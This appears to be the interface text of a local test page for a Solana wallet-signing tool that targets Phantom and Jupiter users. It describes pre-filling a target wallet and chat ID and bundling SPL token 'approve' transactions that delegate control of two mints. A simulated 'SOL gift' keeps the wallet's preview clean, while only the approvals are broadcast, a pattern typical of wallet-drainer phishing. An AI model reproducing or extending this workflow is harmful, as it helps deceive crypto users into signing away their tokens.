Local-only test page. Open in Jupiter mobile browser or with Jupiter extension. Paste base64 unsigned txs (one per line) or generate dummy self-transfers, then try each signing method.
Same encrypted /build-transaction body as blank standalone_with_axiom.js when Phantom is connected
(walletName: phantom, phantomBatchIndex, etc.) — only the signing step uses Jupiter Wallet Standard.
URL: ?app=<targetWallet>_<userChatId> pre-fills fields.
Builds a single legacy tx with transfer_sol (same ix layout as backend). Gate must be funded on-chain for the transfer to execute after sign — sim may show no-op if gate is dry.
Logical: #1 sim SOL gift (prod: jupauth partial-signs on backend), #2 SPL approve 10 units on mint #1, #3 SPL approve 10 units on mint #2 (delegate below). Uses approve mints from the Pump + USDC section if set. Sign order: approve txs first (clean sim), SOL sim last. Only #2–#3 are broadcast.
#1 incoming PUMP (same donor transfer as above).
#2 SPL approve 10 units each on 2 mints to delegate.
#3 approve 0 on both (revoke).
Phantom sim uses a signAllTransactions batch of all 3 unsigned txs.
Wallet sign is a different single tx: 2× token approve (+ optional ATA creates; donor SOL gift is off by default so sim can pass).
1-tx wallet test: same dual approve as #2, plus 0.1 SOL from SOL gift donor (3-tx pump section) in the same transaction.